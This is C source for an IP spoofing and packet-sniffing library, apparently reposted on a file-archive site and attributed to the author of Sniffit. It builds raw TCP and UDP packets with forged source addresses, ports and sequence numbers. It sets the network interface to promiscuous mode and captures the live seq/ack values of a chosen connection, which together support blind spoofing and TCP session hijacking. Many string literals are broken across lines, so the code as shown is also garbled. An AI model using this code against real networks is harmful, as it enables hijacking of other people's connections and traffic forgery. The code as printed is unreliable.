int rc_fd_abc123;
sig_atomic_t RC_FILTSET=0;
char rc_filter_string[50]; /* x.x.x.x.p-y.y.y.y.g */

sig_atomic_t SP_DATA_BUSY=0;
unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0;
unsigned int CUR_DATALEN;
unsigned short CUR_FLAGS;
/***************************************************************************/

struct sp_wait_packet
{
unsigned long seq,ack;
unsigned short flags;
int datalen;
};

/* Code from Sniffit - BTW my own program.... no copyright violation here */
#define URG 32 /* TCP flags */
#define ACK 16
#define PSH 8
#define RST 4
#define SYN 2
#define FIN 1

struct PACKET_info
{
int len, datalen;
unsigned long int seq_nr, ACK_nr;
u_char FLAGS;
};

struct IP_header /* The IPheader (without options) */
{
unsigned char verlen, type;
unsigned short length, ID, flag_offset;
unsigned char TTL, protocol;
unsigned short checksum;
unsigned long int source, destination;
};

struct TCP_header /* The TCP header (without options) */
{
unsigned short source, destination;
unsigned long int seq_nr, ACK_nr;
unsigned short offset_flag, window, checksum, urgent;
};

struct UDP_header /* The UDP header */
{
unsigned short source, destination;
unsigned short length, checksum;
};

struct pseudo_IP_header /* The pseudo IP header (checksum calc) */
{
unsigned long int source, destination;
char zero_byte, protocol;
unsigned short TCP_UDP_len;
};

/* data structure for argument passing */

struct sp_data_exchange {
int fd; /* Sh!t from transmit_TCP */
char *data;
int datalen;
char *source; unsigned short source_port;
char *dest; unsigned short dest_port;
unsigned long seq, ack;
unsigned short flags;

char *buffer; /* work buffer */

int IP_optlen; /* IP options length in bytes */
int TCP_optlen; /* TCP options length in bytes */
};

/**************** all functions *******************************************/
void transmit_TCP (int fd, char *sp_data,
int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port,
unsigned long sp_seq, unsigned long sp_ack,
unsigned short sp_flags);

void transmit_UDP (int sp_fd, char *sp_data,
int ipoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port);

int get_packet (int rc_fd, char *buffer, int *, unsigned char*);
int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *, unsigned short, int, int);

static unsigned long sp_getaddrbyname(char *);

int open_sending (void);
int open_receiving (char *, char);
void close_receiving (void);

void sp_send_packet (struct sp_data_exchange *, unsigned char);
void sp_fix_TCP_packet (struct sp_data_exchange *);
void sp_fix_UDP_packet (struct sp_data_exchange *);
void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char);
unsigned short in_cksum(unsigned short *, int );

void rc_sigio (int);
void set_filter (char *, unsigned short, char *, unsigned short);

/********************* let the games commence ****************************/

static unsigned long sp_getaddrbyname(char *sp_name)
{
struct hostent *sp_he;
int i;

if(isdigit(*sp_name))
return inet_addr(sp_name);

for(i=0;i<100;i++)
{
if(!(sp_he = gethostbyname(sp_name)))
{printf("
WARNING: gethostbyname failure!\n");
sleep(1);
if(i>=3) /* always a retry here in this kind of application */
printf("
Coudn't resolv hostname."), exit(1);
}
else break;
}
return sp_he ? *(long*)*sp_he->h_addr_list : 0;
}

int open_sending (void)
{
struct protoent *sp_proto;
int sp_fd;
int dummy=1;

/* they don't come rawer */
if ((sp_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1)
perror("
Couldn't open Socket."), exit(1);

#ifdef DEBUG
printf("
Raw socket ready\n");
#endif
return sp_fd;
}

void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto)
{
int sp_status;
struct sockaddr_in sp_server;
struct hostent *sp_help;
int HEAD_BASE;

/* Construction of destination */
bzero((char *)&sp_server, sizeof(struct sockaddr));
sp_server.sin_family = AF_INET;
sp_server.sin_addr.s_addr = inet_addr(sp->dest);
if (sp_server.sin_addr.s_addr == (unsigned int)-1)
{ /* if target not in DOT/number notation */
if (!(sp_help=gethostbyname(sp->dest)))
fprintf(stderr,"
unknown host %s\n", sp->dest), exit(1);
bcopy(sp_help->h_addr, (caddr_t)&sp_server.sin_addr, sp_help->h_length);
};

switch(proto)
{
case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */
case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */
default: exit(1); break;
};
sp_status = sendto(sp->fd, (char *)(sp->buffer), sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen, 0,
(struct sockaddr *)&sp_server,sizeof(struct sockaddr));
if (sp_status < 0 || sp_status != sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen)
{
if (sp_status < 0)
perror("
Sendto"), exit(1);
printf("
hmm... Only transmitted %d of %d bytes.\n", sp_status,
sp->datalen+HEAD_BASE);
};
#ifdef DEBUG
printf("
Packet transmitted...\n");
#endif
}

void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto)
{
struct IP_header *sp_help_ip;
int HEAD_BASE;

switch(proto)
{
case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */
case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */
default: exit(1); break;
};

sp_help_ip = (struct IP_header *) (sp->buffer);
sp_help_ip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)/4);
sp_help_ip->type = 0;
sp_help_ip->length = htons(IP_HEAD_BASE+HEAD_BASE+sp->datalen+sp->IP_optlen+sp->TCP_optlen);
sp_help_ip->ID = htons(12545); /* TEST */
sp_help_ip->flag_offset = 0;
sp_help_ip->TTL = 69;
sp_help_ip->protocol = proto;
sp_help_ip->source = sp_getaddrbyname(sp->source);
sp_help_ip->destination = sp_getaddrbyname(sp->dest);
sp_help_ip->checksum=in_cksum((unsigned short *) (sp->buffer),
IP_HEAD_BASE+sp->IP_optlen);
#ifdef DEBUG
printf("
IP header fixed...\n");
#endif
}

void sp_fix_TCP_packet (struct sp_data_exchange *sp)
{
char sp_pseudo_ip_construct[MTU];
struct TCP_header *sp_help_tcp;
struct pseudo_IP_header *sp_help_pseudo;
int i;

for(i=0;i<MTU;i++)
{sp_pseudo_ip_construct[i]=0;}

sp_help_tcp = (struct TCP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;

sp_help_tcp->offset_flag = htons( (((TCP_HEAD_BASE+sp->TCP_optlen)/4)<<12) | sp->flags);
sp_help_tcp->seq_nr = htonl(sp->seq);
sp_help_tcp->ACK_nr = htonl(sp->ack);
sp_help_tcp->source = htons(sp->source_port);
sp_help_tcp->destination = htons(sp->dest_port);
sp_help_tcp->window = htons(0x7c00); /* dummy for now 'wujx' */

sp_help_pseudo->source = sp_getaddrbyname(sp->source);
sp_help_pseudo->destination = sp_getaddrbyname(sp->dest);
sp_help_pseudo->zero_byte = 0;
sp_help_pseudo->protocol = 6;
sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+TCP_HEAD_BASE+sp->TCP_optlen);

memcpy(sp_pseudo_ip_construct+12, sp_help_tcp, sp->TCP_optlen+sp->datalen+TCP_HEAD_BASE);
sp_help_tcp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
sp->datalen+12+TCP_HEAD_BASE+sp->TCP_optlen);
#ifdef DEBUG
printf("
TCP header fixed...\n");
#endif
}

void transmit_TCP (int sp_fd, char *sp_data,
int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port,
unsigned long sp_seq, unsigned long sp_ack,
unsigned short sp_flags)
{
char sp_buffer[1500];
struct sp_data_exchange sp_struct;

bzero(sp_buffer,1500);
if (sp_ipoptlen!=0)
memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);

if (sp_tcpoptlen!=0)
memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen,
sp_data+sp_ipoptlen,sp_tcpoptlen);
if (sp_datalen!=0)
memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen,
sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen);

sp_struct.fd = sp_fd;
sp_struct.data = sp_data;
sp_struct.datalen = sp_datalen;
sp_struct.source = sp_source;
sp_struct.source_port = sp_source_port;
sp_struct.dest = sp_dest;
sp_struct.dest_port = sp_dest_port;
sp_struct.seq = sp_seq;
sp_struct.ack = sp_ack;
sp_struct.flags = sp_flags;
sp_struct.buffer = sp_buffer;
sp_struct.IP_optlen = sp_ipoptlen;
sp_struct.TCP_optlen = sp_tcpoptlen;

sp_fix_TCP_packet(&sp_struct);
sp_fix_IP_packet(&sp_struct, 6);
sp_send_packet(&sp_struct, 6);
}

void sp_fix_UDP_packet (struct sp_data_exchange *sp)
{
char sp_pseudo_ip_construct[MTU];
struct UDP_header *sp_help_udp;
struct pseudo_IP_header *sp_help_pseudo;
int i;

for(i=0;i<MTU;i++)
{sp_pseudo_ip_construct[i]=0;}

sp_help_udp = (struct UDP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;

sp_help_udp->source = htons(sp->source_port);
sp_help_udp->destination = htons(sp->dest_port);
sp_help_udp->length = htons(sp->datalen+UDP_HEAD_BASE);

sp_help_pseudo->source = sp_getaddrbyname(sp->source);
sp_help_pseudo->destination = sp_getaddrbyname(sp->dest);
sp_help_pseudo->zero_byte = 0;
sp_help_pseudo->protocol = 17;
sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+UDP_HEAD_BASE);

memcpy(sp_pseudo_ip_construct+12, sp_help_udp, sp->datalen+UDP_HEAD_BASE);
sp_help_udp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
sp->datalen+12+UDP_HEAD_BASE);
#ifdef DEBUG
printf("
UDP header fixed...\n");
#endif
}

void transmit_UDP (int sp_fd, char *sp_data,
int sp_ipoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port)
{
char sp_buffer[1500];
struct sp_data_exchange sp_struct;

bzero(sp_buffer,1500);

if (sp_ipoptlen!=0)
memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
if (sp_data!=NULL)
memcpy(sp_buffer+IP_HEAD_BASE+UDP_HEAD_BASE+sp_ipoptlen,
sp_data+sp_ipoptlen,sp_datalen);
sp_struct.fd = sp_fd;
sp_struct.data = sp_data;
sp_struct.datalen = sp_datalen;
sp_struct.source = sp_source;
sp_struct.source_port = sp_source_port;
sp_struct.dest = sp_dest;
sp_struct.dest_port = sp_dest_port;
sp_struct.buffer = sp_buffer;
sp_struct.IP_optlen = sp_ipoptlen;
sp_struct.TCP_optlen = 0;

sp_fix_UDP_packet(&sp_struct);
sp_fix_IP_packet(&sp_struct, 17);
sp_send_packet(&sp_struct, 17);
}

/* This routine stolen from ping.c -- HAHAHA!*/
unsigned short in_cksum(unsigned short *addr,int len)
{
register int nleft = len;
register unsigned short *w = addr;
register int sum = 0;
unsigned short answer = 0;

while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}

/************************* Receiving department ****************************/

int open_receiving (char *rc_device, char mode)
{
int or_fd;
struct sigaction rc_sa;
int fcntl_flag;
struct ifreq ifinfo;
char test;

/* create snoop socket and set interface promisc */
if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1)
perror("
Couldn't open Socket."), exit(1);
strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device);
if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)<0)
perror("
Couldn't get flags."), exit(1);
ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC;
if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)<0)
perror("
Couldn't set flags. (PROMISC)"), exit(1);

if(mode&IO_HANDLE)
{ /* install handler */
rc_sa.sa_handler=rc_sigio; /* we don't use signal() */
sigemptyset(&rc_sa.sa_mask); /* because the timing window is */
rc_sa.sa_flags=0; /* too big... */
sigaction(SIGIO,&rc_sa,NULL);
}

if(fcntl(or_fd,F_SETOWN,getpid())<0)
perror("
Couldn't set ownership"), exit(1);

if(mode&IO_HANDLE)
{
if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
perror("
Couldn't get FLAGS"), exit(1);
if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)<0)
perror("
Couldn't set FLAGS"), exit(1);
rc_fd_abc123=or_fd;
}
else
{
if(mode&IO_NONBLOCK)
{
if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
perror("
Couldn't get FLAGS"), exit(1);
if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)<0)
perror("
Couldn't set FLAGS"), exit(1);
};
};

#ifdef DEBUG
printf("
Reading socket ready\n");
#endif
return or_fd;
}

/* returns 0 when no packet read! */
int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned char *proto)
{
char help_buffer[MTU];
int pack_len;
struct IP_header *gp_IPhead;

pack_len = read(rc_fd,help_buffer,1500);
if(pack_len<0)
{
if(errno==EWOULDBLOCK)
{pack_len=0;}
else
{perror("
Read error:"); exit(1);}
};
if(pack_len>0)
{
pack_len -= DEV_PREFIX;
memcpy(buffer,help_buffer+DEV_PREFIX,pack_len);
gp_IPhead = (struct IP_header *) buffer;
if(proto != NULL)
*proto = gp_IPhead->protocol;
if(TCP_UDP_start != NULL)
*TCP_UDP_start = (gp_IPhead->verlen & 0xF) << 2;
}
return pack_len;
}

void wait_packet_timeout (int sig)
{
alarm(0);
WAIT_PACKET_WAIT_TIME=1;
}

int wait_packet(int wp_fd,struct sp_wait_packet *ret_values,
char *wp_source, unsigned short wp_source_port,
char *wp_dest, unsigned short wp_dest_port, int wp_flags,
int wait_time)
{
char wp_buffer[1500];
struct IP_header *wp_iphead;
struct TCP_header *wp_tcphead;
unsigned long wp_sourcel, wp_destl;
int wp_tcpstart;
char wp_proto;

wp_sourcel=sp_getaddrbyname(wp_source);
wp_destl=sp_getaddrbyname(wp_dest);

WAIT_PACKET_WAIT_TIME=0;
if(wait_time!=0)
{
signal(SIGALRM,wait_packet_timeout);
alarm(wait_time);
}

while(1)
{
while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)<=0)
{
if (WAIT_PACKET_WAIT_TIME!=0) {alarm(0); return -1;}
};
if(wp_proto == 6)
{
wp_iphead= (struct IP_header *) wp_buffer;
wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart);
if( (wp_sourcel==wp_iphead->source)&&(wp_destl==wp_iphead->destination) )
{
if( (ntohs(wp_tcphead->source)==wp_source_port) &&
(ntohs(wp_tcphead->destination)==wp_dest_port) )
{
if( (wp_flags==0) || (ntohs(wp_tcphead->offset_flag)&wp_flags) )
{
ret_values->seq=ntohl(wp_tcphead->seq_nr);
ret_values->ack=ntohl(wp_tcphead->ACK_nr);
ret_values->flags=ntohs(wp_tcphead->offset_flag)&
(URG|ACK|PSH|FIN|RST|SYN);
ret_values->datalen = ntohs(wp_iphead->length) -
((wp_iphead->verlen & 0xF) << 2) -
((ntohs(wp_tcphead->offset_flag) & 0xF000) >> 10);
alarm(0);
return 0;
}
}
}
}
}
/*impossible to get here.. but anyways*/
alarm(0); return -1;
}


void close_receiving (void)
{
close(rc_fd_abc123);
}

void rc_sigio (int sig) /* Packet handling routine */
{
char rc_buffer[1500];
char packet_id [50];
unsigned char *rc_so, *rc_dest;
struct IP_header *rc_IPhead;
struct TCP_header *rc_TCPhead;
int pack_len;

if(RC_FILTSET==0) return;

if(SP_DATA_BUSY!=0) /* skip this packet */
return;

pack_len = read(rc_fd_abc123,rc_buffer,1500);
rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX);
if(rc_IPhead->protocol!=6) return; /* if not TCP */
rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead->verlen & 0xF) << 2));

rc_so = (unsigned char *) &(rc_IPhead->source);
rc_dest = (unsigned char *) &(rc_IPhead->destination);
sprintf(packet_id,"
%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead->source),
rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead->destination));

if(strcmp(packet_id,rc_filter_string)==0)
{
SP_DATA_BUSY=1;
CUR_SEQ = ntohl(rc_TCPhead->seq_nr);
CUR_ACK = ntohl(rc_TCPhead->ACK_nr);
CUR_FLAGS = ntohs(rc_TCPhead->offset_flag);
CUR_DATALEN = ntohs(rc_IPhead->length) -
((rc_IPhead->verlen & 0xF) << 2) -
((ntohs(rc_TCPhead->offset_flag) & 0xF000) >> 10);
CUR_COUNT++;
SP_DATA_BUSY=0;
}
}

void set_filter (char *f_source, unsigned short f_source_port,
char *f_dest, unsigned short f_dest_port)
{
unsigned char *f_so, *f_des;
unsigned long f_sol, f_destl;

RC_FILTSET=0;
if(DEV_PREFIX==9999)
fprintf(stderr,"
DEV_PREFIX not set!\n"), exit(1);
f_sol = sp_getaddrbyname(f_source);
f_destl = sp_getaddrbyname(f_dest);
f_so = (unsigned char *) &f_sol;
f_des = (unsigned char *) &f_destl;
sprintf(rc_filter_string,"
%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
f_so[0],f_so[1],f_so[2],f_so[3],f_source_port,
f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port);
RC_FILTSET=1;
}



← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT